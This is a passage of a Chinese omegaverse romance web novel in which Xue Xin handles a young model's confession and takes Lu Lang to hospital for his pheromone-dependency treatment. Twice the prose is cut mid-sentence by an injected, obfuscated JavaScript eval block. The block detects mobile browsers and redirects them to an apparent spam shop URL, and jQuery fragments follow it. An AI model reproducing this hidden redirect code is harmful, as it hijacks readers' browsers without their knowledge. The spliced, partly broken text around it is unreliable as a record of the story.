“就非得挑点毛病,你还想喝有劲儿的?”薛歆喝了口橙汁,伸了几根手指头出来,说一个词收起一根,“记得医嘱吗,忌生冷,忌刺激,忌油腻——能喝果汁就不错了,别的都等你病好再说。”
端菜的服务员是个上年纪的阿姨,走过来正好听见这段话,笑得眼睛都眯起来。
“对嘛!”她笑眯眯地说,“要听女朋友的话,可不能任性,身体是自己的。”
有人帮腔,薛歆没扫兴纠正,朝路琅一摊手:“你看。”
她想表达的是“我说的对吧”,落在另一双眼睛里,再配合着点其他的心绪,难免引起一些意料之外的震荡。
路琅从这开始就有点哑巴了。
他垂着眼睛,全程是个正在发呆的模样,也不怎么吃东西,端着那杯被评判为“没劲”的橙汁,喝的心不在焉。
薛歆就……
薛歆是真的觉得这家的菜做得不错。
虽说地段不好,门面也小,连星级的槛都够不到,但味道真不错。招牌鱼头炖锅,汤色奶白,细腻鲜香,垫在下边的萝卜豆腐都特别好吃。
两个人既算不上好朋友,又不是商业合作对象,她就没费心思交际,愉快地享受着美食。
饭搭子——薛歆想,一个人吃毕竟有点没意思。
女朋友……这个词在路琅脑海中刷屏滚动着。
什么意思?
他想。
薛歆什么意思?
这是能随便应的吗?
平常……倒也算了,现在不一样,就算他觉得没关系,可是,她不是还跟人——
想到这里,路琅惊醒了。
他还没反应过来,发声器官先自我背叛,问道:“所以你是看中他了?”
“啊?”
薛歆抬起头。一双眼睛幽幽看着她。
“我好像没听清。”她满头雾水地问,“你再说一遍。”
路琅盯着她。
话出口了他才清醒,正在懊恼,这句没听清简直像是解药,不管说了什么都能囫囵过去。
这个时候应该摇头就当没说过。
薛歆等不到回应,催促了:“我真没听清,大方点,再说一遍。”
我什么也没说……
路琅组织着语言,却怎样都讲不出口。
他不可置信地发现自己是真的想知道这个问题的答案。
薛歆久等不到回应,开始用筷子敲杯沿了。
路琅:“你看中那个人了?”
薛歆:“谁?”
越说居然越难以启齿,尴尬的感觉成倍增加。可是头都起了,路琅一时也想不到办法把话圆过去,硬着头皮问:“刚才遇见的那个,你的相亲对象。”
“哦,你说他呀。”薛歆用筷子尖戳着碗里的鱼,“没有,我不喜欢那样的。”
隐隐约约的,有鸽子在胸腔里扑腾翅膀。路琅问:“那你为什么特意避开他?”
“我……为什么我不避开?”
薛歆不大理解他的脑回路,一边思考,一边往锅里下了一把青菜,随口解释:“介绍了没成,再碰见多尴尬?当时我们俩又是那种情况,被看见了都说不清楚咱俩的关系。”
路琅看着锅里翻腾的菜叶,沸腾的水泡隔空烫着眼睛,他沉默了一会儿低下头:“不是假扮情侣吗,就说是女朋友。”
薛歆把煮蔫的菜叶捞走了。
“那是小范围的借口,糊弄糊弄医生得了,他反正不认识你,能不向我姐告密就行。宋家和你们可是有过合作的。”
她笑起来:“都在一个圈子里,这种八卦一传十十传百,以后说起来人人都以为我们俩谈过,影响多不好。”
扑腾的鸽子停住了。路琅感到胸腔被什么东西压住,有点沉重,也有点酸痛。可能鸽子被拔了毛。
他慢吞吞地哦了一声。
“再说,我也不想跟宋从玉来往太多,被我姐知道了还以为有戏。”薛歆对于这种事情总是千防万防,“又是Omega又比我小,我不行,他还是另找其他人相亲吧。”
鸽子可能被一枪打死了。
路琅觉得眼眶有点疼。
垂死挣扎可能也是人类的天性之一。他听完这段话后半死不活了好一阵子,等到薛歆把筷子都放下了,混乱的脑子再度转动,提了个问题:“既然没兴趣,就是说,你不会再跟他见面了?”
薛歆想了想。
“多半吧。”
……排除了一个。
路琅也不知道自己为什么会冒出这样的想法。
但他知道自己的心情很差。
-
四天后。
薛歆差不多定好了新店的位置,是跟路琅说过要他帮忙谈租金的那个,但后面根本没把他请过来,只提了提最近跟路家有来往,对方就爽快地打了折。
这样还是挺不错的。
她在微信上给路琅发消息,把事情大致讲了讲,表示要请他吃个饭道谢。
前面聊得还挺正常的。
有来有回。
然而一提请客,路琅就不回消息了,聊天界面安安静静的,几个小时也没动静。
薛歆觉得他可能是在忙工作,没在意,等到晚上也没见回消息,才打了个电话过去问。
“沾你的光,给我省了不少成本。愿不愿意赏脸给我个道谢的机会。”
“不用谢我。”
路琅的声音听着有气无力的。
薛歆没听过他这种语气,迟疑了下,追问道:“我约好餐厅了,京华嘉飨,就在你公司附近。真不来吗?”
“不来。不需要。”
“跟我一起吃个饭都不愿意?”
“……不。”
电话挂了。
薛歆握着手机回想,总觉得在回答这个字之前,路琅似乎深吸了一口气,像压着什么情绪似的。
总不能是上次被鱼刺卡住了吧。
时间也过了挺久了。采完样的第二天,她特意联系了路琅,问他要不要一起去医院测过敏源。医生是说了不用同时到场,可是都说送佛送到西,她再去当一次司机也无所谓。
没想到路琅断然拒绝。
真的是断然。
好像急匆匆的要甩开什么东西一样。
都这个表现了,薛歆没办法再约一次,遂一个人去了医院。
在那儿,她还几次想起前一天那顿饭,连医生都看出来走神。
可能是鱼太好吃了。
薛歆想。
既然路琅说不需要,她也没再三番五次的约,只等着医院那边把脱敏针配出来,再去和他联系。
一件事的进度停滞,另一件事则开始飞速前进。
新店的地址已经定下,接下来就是装修了。连锁店先不玩什么花样,还是照老店的样子来,薛歆给了大致的参考方向,就全盘交给了装修公司。
她自己回到总店,开始折腾其他的工作。
“还是按照之前开会说好的,四个大主题,下面三个分支,一起是十二套样片,同时上线。”
薛歆问:“模特都安排好了吧?先拍出来打个样,设计个活动推广一下,看看有多少人预约。马上春节放年假了,抓住机会。”
提到这一茬,影叙的运营经理章潇眼睛发亮的凑了过来。
“老板,你上次招的那个模特真的行。”她竖起大拇指,“跟明星似的,效果特好,都不用怎么修图。”
这评价挺高,薛歆感到肩上的重担轻了点,说:“那小孩是戏剧学院的,说不定以后真是明星了。”
章潇感叹:“真的,哎,长得像画一样。”
等跟着薛歆进了办公室,安排完工作之后,她回味了下,站在薛歆桌前悄悄使眼色。
薛歆:“怎么了?”
“老板,我偷偷问你一句啊,那个谁,真不是……”章潇压低了声音,“真不是你养的家里的那小什么吗?”
薛歆放下了手里的东西,缓慢抬头,匪夷所思地看着她,眼睛慢慢眯起来。
章潇连忙捂嘴:“我乱猜的!”
晚了。
来自老板的一记爆栗已经敲到了额头上。
薛歆:“别瞎猜。”
章潇尬笑。
她们俩是大学同学,虽说不是一个专业的,却都进了滑板社团,性格投机,关系不错,从毕业起就在一块工作。
关于宋从玉,别的同事都好奇不敢问,但章潇还是敢于刨根问底的。
“真不是啊。”她还有点遗憾,“我听说他是你介绍进来的,还以为是有什么私人关系呢。”
薛歆:“你好好想想,那小孩才十八岁,我能干什么?我找个那么小的干什么?”
章潇:“话不能这么讲,大家都说什么,呃,十八岁的Omega……”
薛歆:“十八岁的Omega一枝花?”
章潇:“对对对!”
薛歆:“对什么对!”
都这么说了,显然是没什么暧昧成分,章潇吃了个哑火的瓜,揉揉脑门,悻悻出门。
“等等。”
薛歆叫住她。
章潇走回来:“怎么了?”
薛歆:“谁跟你说他是我安排进来的?我跟人事讲了要保密。”
“是保着密呢。”章潇说,“但他自己说喜欢你,我以为你们有那关系,这个喜欢是种暗示,就特意查了下招聘记录。我也怕不小心得罪你那谁啊。”
薛歆觉得这一段话里有太多要指正的了,先揪了个最要紧的:“他不是我那谁。”
章潇:“那他是……”
薛歆:“我朋友的小孩。”
-
得知这个乌龙之后,薛歆在想,要怎么样跟宋从玉把事情说清楚。
告诉他“不要和别人说你喜欢我”吗?
……听起来怎么这么奇怪。
第一次碰面时,薛歆是觉得宋从玉相当热情,但她没那么自恋,只觉得是年轻人头一次被介绍相亲,见了面看她还不错,生出了一点点好感而已。
现在看来,这里面可能真有点前情。
不过薛歆不是很关心。
事业要紧,想不出来该怎么说,她先去看了看样片拍摄的现场。
四个大主题里,交给宋从玉的只有一个,中古油画风,取个意向和气质。这个题材的拍摄场地在室内,属于低价位的一档,布景不是特别复杂,出片一半靠妆造,一半靠模特的表现。
薛歆到场监工的时候,拍摄正好开始。
宋从玉确实是专业出身的。
他学的不是模特专业,要说走秀,确实比不上科班出身的。但放在静态照片里面,长相漂亮,表情灵动,就已经相当出彩了。
薛歆旁观了会,基本满意。
她在心里的本子上给薛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243206|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隽打了个小勾。
相亲相到优秀员工,也算是个弄巧成拙的典范了。
老板亲自来监工,就算表现得再低调,也总会有人注意到,一个提醒一个,没多久,就把薛歆让到了最佳位置。
她没客气,找了找角度,在画外坐下来了。
宋从玉一眼看见场边多了个人。
他正摆着一个有点难度的姿势,重心本来就不太稳,稍微走神,脚下一滑,差点摔倒在地上。
幸好及时调整重心,原地小跳了一下,才得以平稳落地。
整个过程太快,外人看起来像表演杂技。
人群里接连爆出笑声。
摄影师以为宋从玉是累了,问他要不要休息。
他有些犹豫,还没有接话,看见薛歆先站了起来,拍拍手说:“累了就先歇歇,准备了点下午茶,大家一块儿吃点吧。”
说完没多久,有人推着装奶茶和甜点的小车进来了。
众人欢呼起来,一齐迎上去。
薛歆站在外围。
为了不挡路,她往后退了两步,一扭头,看见宋从玉正小心翼翼地走过来。
薛歆往前指了下:“下午茶。”
宋从玉摇头:“拍摄还没结束。”
“辛苦了。”薛歆说,“那就拍完再说,我订了有多的。”
宋从玉点点头。
他穿得像个精灵王子,五官太浓了,没经过后期,站在那儿就像一幅油画。
薛歆审视了下,觉得事业充满希望。
经过了上次的失败,宋从玉好像有点儿不敢跟她讲话了,悄悄抬眸,从睫毛底下看她,目不转睛的。
半晌,鼓起勇气问一句:“您觉得我表现得怎么样?”
一码归一码。
“非常好。”
对于优秀的人,薛歆向来不吝称赞,说完,用几个形容给这句认可加了注解。
宋从玉脸上本来就扑了点腮红,现在看起来更红了。
薛歆想了想,又说:“我上周在医院看见你了。”
“上周……上周学校安排了体检,您看见我了?”宋从玉有些懊恼,“我当时没有注意周围。”
薛歆:“我也是陪朋友看病,刚好路过,远远看到你走过去,离得很远,就没有跟你打招呼。”
宋从玉:“您朋友生病了?不要紧吧?”
薛歆:“小问题。”
这么一段短短的交流下来,她觉得宋从玉应该还是挺通情达理好沟通的,于是便说:“待会拍摄结束,你稍微留一下,我们单独聊几句。”
宋从玉的神情显而易见地明亮起来。
“好。”
他挺雀跃的说。
-
影叙总店在一条商业街上。
刚开始创业的时候,还只有一个不大的门面,后来口碑打出去,生意渐好,如今已经扩展到了上下两层楼,在街头街尾都能看见影叙的大招牌。
路琅不知道自己是怎么到了楼下的。
天色不早了,他抬起头,看见二楼的一排窗子都暗着,只透着一点点走廊的灯光。
上一次的临时标记只做了一半,按理说应该没有生效。但这几天路琅总觉得自己状态不对,做什么都提不起精神。
一定是天气变冷了。
距离上次约饭失败已过了两天,下午薛歆打了电话过来。说租场地的事儿彻底搞定,手续全都办好了,再次邀请他见面聚聚。
路琅拒绝了。
拒绝的时候他没什么感觉,挂断电话,才觉得心里有东西在一层层往上涌,说不上是什么,但搅得他挺难受的。
……也不是不能见个面。
在之前那通电话里,路琅虽没答应约饭邀请,但也简单聊了两句,得知薛歆一下午都会在工作室,纯粹过来看看,没有什么特重要的事。
她心情还挺不错的,让他有空可以到工作室这边看看。
那直接过来也是可以的吧。
薛歆一向鼓励员工提高效率,按点走人不要加班,下边践行得也不错,这会儿人都走光了,只有前台因为手机没电,还被充电线栓在店里。
“找我们老板?就在楼上。”
路琅走上台阶。
被工作室里的冷光一扫,他脚步一顿,有点想退缩,努力克制才忍住了,一步步走到楼梯口。
二楼的人全走完了,有点动静就很明显。
路琅刚走上来就看到了薛歆。
站在走廊中间,面朝一个敞开的房间,正在和里面的人说话,语调很平,像在背诵课文。
“……对你的影响不好,工作室这么多人,难免有喜欢八卦的。没必要让他们误会。”
听起来是私事。
路琅停下来了。
既然是私事,不方便这样听下去,他急转身,就要顺着楼梯走下去。
后面传来另一个人的声音。
“我真的喜欢您。”
宋从玉的眼神有点受伤,很坚定的强调:“是真的。”
“我没说是假的,我的意思是没有必要说出来。”薛歆很无奈,“总会有闲言碎语。我们这里经常有学生来拍写真,如果有认识你的人呢?万一有不太好的猜测,可能会影响到你。”
宋从玉没说话,挺倔的咬着嘴唇。
薛歆:“还有,你只是因为别人的描述对我有兴趣,这种充其量就是好感,过一阵不见就忘记了。不知道宋总怎么跟你讲的,但是我们真不合适。”
宋从玉把头底下去了,过了一会儿,闷闷地问:“哪里不合适?”
薛歆给出经典回答:“哪里都不合适。”
“我觉得已经说的很清楚了。总之,你的能力很优秀,有可能的话我还是希望能继续合作,如果你不愿意,也尽快给我答复。好吧?就这么说。”
讲完,她悄悄观察,觉得宋从玉看着还需要平复平复心情,准备给他留个独处空间,自己走到一楼去了。
前台刚把手机充开机,已经走人,下面的灯关了一半,只有软沙发顶上的灯还开着。
薛歆看一眼沙发看一眼钟。
“你怎么在这?”
路琅缩在沙发里,恹恹地抬了抬眸,转头望向窗外的街道,一言不发。
16. 第 16 章
薛歆第一眼还以为是幻觉。
她眨了眨眼,沙发上的人并没消失,于是谨慎地走了过去。
路琅还是那副没精神的模样。
“找我有事?”
薛歆走到小沙发旁边,低头打量他,说:“怎么不提前说一声,我也好招待你。”
路琅沉默半晌。
“你和……”
他含糊不清地说了句什么,声音特别小,带一点点鼻音。
“听不清。”
“……”
路琅在沙发里蜷了一会儿,直起腰背,清一下嗓子:“不是让我过来坐坐吗?”
他仰起头看她,眼珠黑亮。
薛歆:“所以你就来突然袭击?”
路琅嗯了一声,理所当然地:“不可以?”
薛歆皱眉:“没说不可以,但也太突然了,我连个准备时间都没有。”
“有什么可准备的。”路琅的目光往上飘了一下,不明显,很快就垂眸掩饰过去了,“难道你在这藏了什么不能见人的秘密。”
“怎么可能,你看了多少谍战片。”
薛歆吐槽了句,走到他面前,在玻璃茶几对面的小沙发上坐下,想到什么,笑起来。
“我也就藏过一回。”她笑意愈深,“还记得吗,那天婚宴躲你的朋友。”
路琅一僵。
他不想讲话了。
为什么他会有这么多可以被提起的把柄?
“说正经的,”薛歆问,“你找我有事?”
路琅撇开眼:“没有。”
薛歆莫名其妙:“没有?”
“那你是来干嘛的?行了,来也来过了,既然没事就各回各家吧。”她指指手腕上的表,从沙发里起身,“我下班了。”
正要从旁离开,衣袖被拉住了。
薛歆低头看去,修长的手紧攥着袖口,关节凸起,像几个泛粉的珍珠。
路琅拽住她,难以置信:“你就这么走了?”
薛歆屈指敲了敲他的手背。
路琅反射性地蜷了下,手腕一抖,攥得更用力了。
“为什么不走,我下班了。”薛歆说,“你又没事找我。”
“有。”
“什么?”
两相对视。
路琅咬住唇,慢慢松了手,眼睛仍咬在薛歆脸上。仿佛稍不注意,她就会凭空消失。
薛歆再问:“你有什么事?”
路琅有些挫败。
他想问“没事就不能找你?”。
可想了想,居然确实是这样。他们不是能够随意打扰对方的关系。
“我有点不舒服。”路琅有气无力地说,“可能是信息素依赖症的影响。”
薛歆看他的脸。
从精神面貌上判断,好像情况是挺严重的。
她在沙发前蹲下来,仔细地观察了一会儿,直到路琅受不了地扭开头,才重新起身,问:“具体怎么不舒服?”
“头晕。”
“还有呢?”
“气闷。”
“唔。”
“没力气。”
“嗯……看出来了。”
薛歆大略问了问,觉得似乎是挺严重的,考虑了下:“我带你去医院看看?”
面对病人,她拿出了充分的耐心,声线掐得很柔。实话说,还是很如沐春风的。
路琅被说出一身鸡皮疙瘩,好不容易,把刻薄话忍下去,只说了句:“我不是幼儿。”
薛歆贴心地更正:“那你自己去医院看看?”
路琅不吭声。
片刻后,他仰头看了她一眼,目光中含着隐隐的控诉。
薛歆无奈:“这也不行,那也不行,你来找我是要做什么,专门来怼我几句?”
路琅摇头,垂下眼睫,下唇被咬出了印子。
他不知如何开口。
要做什么……并没有。
来这里全凭一腔冲动。
如果非要说个答案出来,他只是来见见薛歆,说几句话……或者不说。
这算是什么想法?
路琅久久不回答,薛歆也不着急,低着头等他开口。视线落在睫毛上,她想,好细好长。往下走到脸颊,又想,看起来好软。
正在神游,忽然听见踩在木地板上嗒嗒嗒的脚步声,由上至下,越来越近。
回头一看,是宋从玉下来了。
他年纪轻,脸上藏不住事,就差把心情不好的灯牌挂在头上了。谁看见都知道他心事重重。
见状,薛歆往前一步,把路琅挡在了身后。
从这个角度本也看不清脸,这样一遮,宋从玉再朝这边望,只能看见一只雪白修长的手,搭在沙发扶手上,姿态放松,形状优美。
怎么看都不是Alpha的手。
宋从玉愣住了。
薛歆略一点头,算是打招呼,然后说:“今天拍摄辛苦了,如果不想再继续了,可以直接告诉我。”
宋从玉急切道:“我会继续拍的!”
薛歆:“那就最好了。”
“还有,我……”宋从玉犹犹豫豫地开口,“我想问一下,您……您现在是单身吗?”
薛歆觉得该拒绝的干脆一点,但又不好撒谎,便说:“是。但我暂时没有发展感情关系的想法。”
宋从玉失望地抿起了唇。
知道再纠缠就不好看了,他努力打起精神,扬起唇说:“那我先回去了,明天见。”
薛歆:“明天见。”
玻璃门拉开又合拢,把手上的小风铃发出几声脆响。
宋从玉压着失落走到街上,鼻头泛酸,盯着自己的脚尖走了几步,忍不住回头看。
下一秒,他惊讶地睁大了眼睛。
不知何时,那只搭在椅背上的手抬了起来,正紧紧攥着薛歆的手腕。
攥得太用力,她不禁动了动手腕,但没能抽出来。
“怎么了?”
“陪我。”
路琅一根根松开了手指,仰起脸来,凝视着薛歆,像朝着日光生长的葵花。
他将后半句话说完:“陪我去医院。”
-
再过半小时,医院就下班了。
薛歆锁车的时候说:“这家可是公立医院,再晚半小时,就只能挂急诊了。你到底是从什么时候开始变得这么优柔寡断的?”
路琅蹙着眉:“我生病了。”
薛歆:“所以脑子转不过来?”
路琅:“嗯。”
薛歆没想到他居然会应这句话,一时有些震撼,好几次狐疑地观察他的状态。
先前好声好气哄着,不肯讲话,现在怼一句倒是愿意回答了,该不会真的病糊涂了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243207|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧?
路琅跟着她往前走,思绪放空,不自觉地虚握了一下右手。
他本来只是想拽衣袖。
头脑不太清醒,方向感距离感也都把握不准,才那样握住了薛歆的手。
一次平常,简单,什么也算不了的接触。
……他居然觉得痛苦有所缓解。
薛歆的皮肤似乎也时刻散发着信息素,是一种触觉,他在她的手腕上触碰到了橘子味。
一路走进腺体专科。
时间很迟了,幸好医院人不多,等了一个号就到了。
医生左右看看:“又见面了。这次是哪里不舒服?”
路琅描述了一遍自己的感觉。
陪归陪,他也不是真需要人领着上医院的孩子,和医生沟通的时候,薛歆就在旁边安静地等着,一个字也没插。
直到医生点了她的名。
“上次临时标记了之后,这几天,你们还有过接触吗?特别是信息素这方面的。”
薛歆摇头。
别说接触了,面都没见过。
医生说:“这样不行,你们还是要多相处。就算没有信息素依赖症,刚标记完本来也应该多接触的。还有……”
两人齐齐看他。
“我本来想明天打电话跟你们沟通的,既然来了,正好当面说吧。”医生严肃地说,“脱敏针的配置情况不太顺利。路先生,你的这个药物过敏史,确实有点麻烦。很多成分用不了,虽然能配出来,效果估计大打折扣。”
薛歆听着听着就皱了眉。
路琅露出错愕的神色,眼睛微微睁大,灯光掉进瞳孔里,亮得像一簇烛火。
薛歆问:“效果差到什么地步?用不了?”
医生:“这个不至于。”
“只是说疗程可能要延长,就目前估计的话,完全恢复要四个月。”
薛歆算了算,说:“那也不是很长,我们之前咨询过,靠临时标记脱敏差不多也是这个时间。”
闻言,路琅侧头看她,慢慢收紧了五指。
医生:“对,时间确实差不多的,但是预后不太一样。是药三分毒嘛,打那么多针,可能会对腺体造成一些不可逆转的影响。”
薛歆:“具体有什么影响?”
医生:“这个不能确定,每个人的情况不一样,如果按最严重的情况算,那可能就是以后都不能被标记了。”
这可真是个重磅炸.弹。
路琅听见了,没什么反应,仍旧盯着薛歆看。
他眼神里几乎看不出情绪,只是放在膝头的手交握在一起,指尖泛粉,轻轻地掐进肉里。
医生:“你们怎么考虑?”
薛歆充当了一会提问器,在这种问题上,不可能再继续代替路琅开口了,便以眼神示意他回答。
路琅深深吐出一口气。
“我都可以。”他说,“如果你方便就标记,不方便,脱敏针也可以。严重后遗症没有那么容易遇到。”
考虑到他们两人明面上的情侣关系,这句话简直善解人意到了无法理解的程度。听完,医生处变不惊的表情终于短暂地崩了一下,朝薛歆做口型。
——不要当渣A!
薛歆:“……”
这下搬起石头砸自己的脚了。
“那就临时标记吧。”
她说。